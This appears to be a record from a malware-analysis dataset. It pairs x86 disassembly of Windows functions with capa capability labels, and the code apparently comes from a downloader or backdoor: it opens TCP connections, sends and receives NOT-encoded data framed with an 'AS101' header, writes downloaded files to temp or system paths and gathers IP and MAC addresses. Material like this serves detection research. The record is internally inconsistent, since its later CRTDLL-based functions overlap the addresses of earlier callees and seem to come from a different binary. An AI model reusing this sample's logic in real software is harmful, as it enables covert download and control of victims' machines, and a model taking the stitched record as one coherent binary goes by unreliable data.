joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402b70
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00408430
add esp, 0xc
cmp dword [0x418070], 3
jne 0x402bd0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414fd0
lea eax, [esp + 4]
push 0x104
push eax
call fcn.00404915
add esp, 0xc
jmp 0x402bdf
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push str._s_s.exe
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.00404906
add esp, 0x20c
ret

Function at 0x402dc0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov dword [esp + 0x10], 0
mov word [esp + 0x14], ax
call fcn.00408430
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00402fd0
mov ebx, dword [esp + 8]
add esp, 4
call fcn.004030e0
cmp eax, 0xffffffff
jne 0x402e42
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00404906
add esp, 0x218
ret
push esi
call fcn.00402ce0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.00404906
add esp, 0x218
ret

Function at 0x402e70
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x64
call ebp
xor ebx, ebx
push 0x1ff
lea eax, [esp + 0x2d]
push ebx
push eax
xor esi, esi
mov byte [esp + 0x34], bl
call fcn.00408430
add esp, 0xc
cmp edi, 0xffffffff
je 0x402f50
xor eax, eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], eax
push 0x200
lea eax, [esp + 0x34]
push eax
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x402f50
mov ecx, dword [esp + 0x1f2]
mov edx, dword [esp + 0x1ee]
lea eax, [edx + ecx]
cmp eax, ebx
jbe 0x402f0d
mov esi, eax
mov eax, dword [esp + 0x202]
mov ecx, dword [esp + 0x1fe]
add eax, ecx
cmp eax, esi
jbe 0x402f23
mov esi, eax
mov edx, dword [esp + 0x212]
mov eax, dword [esp + 0x20e]
add eax, edx
cmp eax, esi
jbe 0x402f39
mov esi, eax
mov ecx, dword [esp + 0x222]
mov edx, dword [esp + 0x21e]
lea eax, [edx + ecx]
cmp eax, esi
jbe 0x402f50
mov esi, eax
push 0x64
call ebp
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404906
add esp, 0x228
ret
Function at 0x402f70
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x402fc4
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
add esp, 0x18
ret

Function at 0x403220
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x414fd4
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.00404c67
add esp, 0xc
test eax, eax
je 0x403244
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.004057be
mov eax, dword [esp + 0x1c]
push eax
call fcn.004059e0
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov edi, eax
call fcn.004057be
mov edx, dword [esp + 0x38]
lea ebp, [edi + edx]
push ebp
call fcn.004055dc
mov esi, eax
mov eax, dword [esp + 0x30]
push eax
push 1
push edi
push esi
call fcn.00404f5a
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00404fee
mov eax, dword [esp + 0x50]
lea ebx, [esi + edi]
call fcn.00403300
mov edx, dword [esp + 0x4c]
push 0x414ff4
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.00404c67
add esp, 0x40
test eax, eax
je 0x4032c5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
push ecx
push 1
push ebp
push esi
call fcn.004051cc
mov edx, dword [esp + 0x20]
push edx
call fcn.00404fee
add esp, 0x14
test esi, esi
je 0x4032ed
push esi
call fcn.004056a6
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x4038e0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x403959
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403931
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403962
cmp ebx, 3
jb 0x4038f5
mov edi, 0xfffffffd
test esi, esi
je 0x403951
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x40393c
mov eax, esi
test esi, esi
je 0x4039ce
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x40397c
cmp dword [eax + 0x1c], 0
jne 0x403987
mov eax, dword [eax + 8]
test eax, eax
jne 0x403971
xor edi, edi
jmp 0x403941
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403941

Function at 0x403c10
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403d40
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x403d1e
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00408430
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00408430
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x418e30
cmp word [esi], 0
je 0x403cbe
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.00404992
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.00404915
add esp, 0xc
add esi, 0x118
cmp esi, 0x4193a8
jl 0x403c88
mov esi, 0x418e30
cmp word [esi], 0
je 0x403ce2
push ebx
push edi
push esi
call fcn.004045a0
add esp, 0xc
add esi, 0x118
cmp esi, 0x4193a8
jl 0x403cd1
push 0x419bc0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00404915
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403d1c
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.00404906
add esp, 0x41c
ret
Function at 0x403f50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403f7b
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403fb0
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00404906
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403f98
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403fec
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x404045
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404045
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00404906
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x404054
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00404906
add esp, 0x9b0
ret

Function at 0x4041b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x404232
cmp edi, eax
jle 0x4041dd
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x4041d0
lea ebx, [edi + 7]
push ebx
call fcn.00405c2f
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x418078]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00408ff0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404236
cmp eax, ebx
jne 0x404236
mov dword [esp + 0xc], 1
jmp 0x404236
mov esi, dword [esp + 0x14]
test esi, esi
je 0x404243
push esi
call fcn.00405ffa
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404410
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x404451
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x40456d
test edx, edx
je 0x40456d
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.00408430
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404585
test eax, eax
je 0x404585
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.00405c2f
add esp, 4
mov ebx, eax
test edi, edi
jle 0x40455b
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404539
test eax, eax
je 0x404539
add esi, eax
cmp edi, esi
jg 0x4044c4
cmp esi, 5
jl 0x40455b
mov ecx, dword [str.AS101]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40455b
mov dl, byte [ebx + 4]
cmp dl, byte [0x418078]
jne 0x40455b
test esi, esi
jle 0x40451c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404510
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x404541
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00408ff0
mov dword [edi], esi
jmp 0x404550
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40455b
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00408ff0
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x404568
push ebx
call fcn.00405ffa
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00404906
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00404906
add esp, 0x8d8
ret
Function at 0x4045a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0xe28
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0xe24], eax
mov eax, dword [esp + 0xe30]
push ebx
push ebp
mov ebp, dword [esp + 0xe34]
push esi
push edi
push 0x400
lea ecx, [esp + 0x234]
push 0
push ecx
mov dword [esp + 0x30], eax
call fcn.00408430
add esp, 0xc
push ebp
lea edx, [esp + 0x234]
push 0x1ff
push edx
call fcn.00404992
mov eax, ebp
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404600
sub eax, edx
sar eax, 1
lea edi, [esp + eax*2 + 0x232]
mov ecx, 0x80
mov esi, 0x4199c0
mov eax, ebp
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404627
sub eax, edx
sar eax, 1
push 0x10000
lea ebx, [eax + eax + 0x202]
call fcn.004055dc
add esp, 4
push 0x10000
xor esi, esi
mov ebp, eax
push esi
push ebp
call fcn.00408430
add esp, 0xc
push 0x7fe
lea ecx, [esp + 0x636]
xor eax, eax
push esi
push ecx
mov dword [esp + 0x28], 0x10000
mov word [esp + 0x63c], ax
call fcn.00408430
add esp, 0xc
push 0x206
lea eax, [esp + 0x2e]
xor edx, edx
push esi
push eax
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x2c], esi
mov word [esp + 0x34], dx
call fcn.00408430
add esp, 0xc
lea ecx, [esp + 0x28]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [esp + 0xe44]
mov edi, dword [esp + 0x24]
lea edx, [esp + 0x630]
push edx
push eax
lea esi, [esp + 0x20]
call fcn.00403f50
add esp, 8
test eax, eax
je 0x404799
lea ecx, [esp + 0x630]
push ecx
push ebx
push 0xbba
lea ecx, [esp + 0x23c]
mov edx, esi
call fcn.00404070
add esp, 0xc
test eax, eax
je 0x404799
lea edx, [esp + 0x630]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x28]
push ecx
mov ecx, ebp
mov edx, esi
call fcn.00404250
add esp, 0xc
test eax, eax
je 0x404799
mov edx, 0xbba
cmp word [esp + 0x20], dx
jne 0x404799
cmp dword [esp + 0x1c], 0
je 0x404799
cmp byte [ebp], 0
jne 0x404799
push 0x419bc0
lea eax, [esp + 0x2c]
push 0x104
push eax
call fcn.00404915
add esp, 0xc
push 0x414ff4
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], 0
call fcn.00404c67
add esp, 0xc
cmp dword [esp + 0x14], 0
je 0x404791
lea eax, [esp + 0x14]
push eax
mov edi, esi
call fcn.004047e0
add esp, 4
mov dword [esp + 0x14], 1
test ebp, ebp
je 0x4047a6
push ebp
call fcn.004056a6
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4047b5
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0xe34]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404906
add esp, 0xe28
ret
Function at 0x4047e0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.0040ef40
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x404838
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.00404906
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x404877
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x404876
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.004051cc
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x404840
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00404fee
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.00404906
add esp, 0x100c
ret

Function at 0x404906
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41704c]
jne 0x404910
repz ret
jmp fcn.00406298
Function at 0x40f34f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040a0b5
and dword [ebp - 4], 0
cmp dword [0x418b2c], 0
mov ebx, eax
jne 0x40f400
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f4b1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40f4b1
push eax
call fcn.0040a043
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x418b2c], eax
call esi
push eax
call fcn.0040a043
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x418b30], eax
call esi
push eax
call fcn.0040a043
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x418b34], eax
call esi
push eax
call fcn.0040a043
pop ecx
mov dword [0x418b3c], eax
test eax, eax
je 0x40f400
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040a043
pop ecx
mov dword [0x418b38], eax
mov eax, dword [0x418b38]
cmp eax, ebx
je 0x40f458
cmp dword [0x418b3c], ebx
je 0x40f458
push eax
call fcn.0040a0be
push dword [0x418b3c]
mov esi, eax
call fcn.0040a0be
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f458
test edi, edi
je 0x40f458
call esi
test eax, eax
je 0x40f44f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f44f
test byte [ebp - 0xc], 1
jne 0x40f458
or dword [ebp + 0x10], 0x200000
jmp 0x40f491
mov eax, dword [0x418b30]
cmp eax, ebx
je 0x40f491
push eax
call fcn.0040a0be
pop ecx
test eax, eax
je 0x40f491
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f491
mov eax, dword [0x418b34]
cmp eax, ebx
je 0x40f491
push eax
call fcn.0040a0be
pop ecx
test eax, eax
je 0x40f491
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418b2c]
call fcn.0040a0be
pop ecx
test eax, eax
je 0x40f4b1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f4b3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4011cb
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42101c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x421028
push 0x421024
push 0x421020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x421028]
push dword [0x421024]
push dword [0x421020]
mov dword [0x421014], esp
call fcn.00411a50
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x4058df
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], esi
jmp 0x4059b7
cmp dword [0x41f9d8], 0
jg 0x405977
push 0x2000
push dword [0x41f9d0]
push dword [0x41f9f4]
call sub.CRTDLL.DLL__read
add esp, 0xc
mov dword [0x41f9d8], eax
or eax, eax
jne 0x40592a
mov eax, dword [ebp - 4]
sub eax, esi
jmp 0x4059c2
cmp dword [0x41f9d8], 0
jge 0x405963
lea ecx, [0x4212a3]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40593c
push 0x401
push eax
push 0x4212a3
push 0x413218
call dword [0x41fc00]
add esp, 0x10
mov eax, 0
jmp 0x4059c2
add dword [0x41f9fc], 0x2000
mov eax, dword [0x41f9d0]
mov dword [0x41f9d4], eax
cmp esi, dword [0x41f9d8]
jae 0x405984
mov dword [ebp - 8], esi
jmp 0x40598c
mov eax, dword [0x41f9d8]
mov dword [ebp - 8], eax
mov edi, dword [ebp - 8]
push edi
push dword [0x41f9d4]
push ebx
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
lea ebx, [ebx + edi]
mov eax, edi
add eax, dword [0x41f9d4]
mov dword [0x41f9d4], eax
sub dword [0x41f9d8], edi
sub esi, edi
or esi, esi
jne 0x4058f5
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4059c7
Capabilities:
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
cmp dword [0x41fa88], 0
je 0x4059e0
or eax, 0xffffffff
jmp 0x405aea
cmp dword [0x4132a0], 0
jg 0x4059fe
dec dword [0x4132a0]
xor eax, eax
mov dword [0x41f9d8], eax
or eax, 0xffffffff
jmp 0x405aea
cmp dword [0x41f9d8], 0
jg 0x405a91
push 0x2000
push dword [0x41f9d0]
push dword [0x41f9f4]
call sub.CRTDLL.DLL__read
add esp, 0xc
mov dword [0x41f9d8], eax
or eax, eax
jne 0x405a3c
xor eax, eax
mov dword [0x41f9d8], eax
or eax, 0xffffffff
jmp 0x405aea
cmp dword [0x41f9d8], 0
jge 0x405a78
lea ecx, [0x4212a3]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x405a4e
push 0x401
push eax
push 0x4212a3
push 0x413218
call dword [0x41fc00]
add esp, 0x10
push 3
call sub.CRTDLL.DLL_exit
add esp, 4
add dword [0x41f9fc], 0x2000
mov eax, dword [0x41f9d0]
mov dword [0x41f9d4], eax
call fcn.00405882
mov eax, dword [0x4139c4]
test byte [eax + 0x18], 1
je 0x405ad6
mov eax, dword [0x41f9d8]
mov dword [ebp - 8], eax
mov eax, dword [0x41f9d4]
mov dword [ebp - 4], eax
jmp 0x405acc
call fcn.004070c4
mov edi, dword [ebp - 4]
movzx esi, byte [edi]
mov ebx, esi
xor ebx, eax
mov byte [edi], bl
movzx edi, bl
push edi
call fcn.004070f3
pop ecx
inc dword [ebp - 4]
mov eax, dword [ebp - 8]
dec dword [ebp - 8]
or eax, eax
jne 0x405aae
dec dword [0x41f9d8]
mov eax, dword [0x41f9d4]
inc dword [0x41f9d4]
movzx eax, byte [eax]
pop edi
pop esi
pop ebx
leave
ret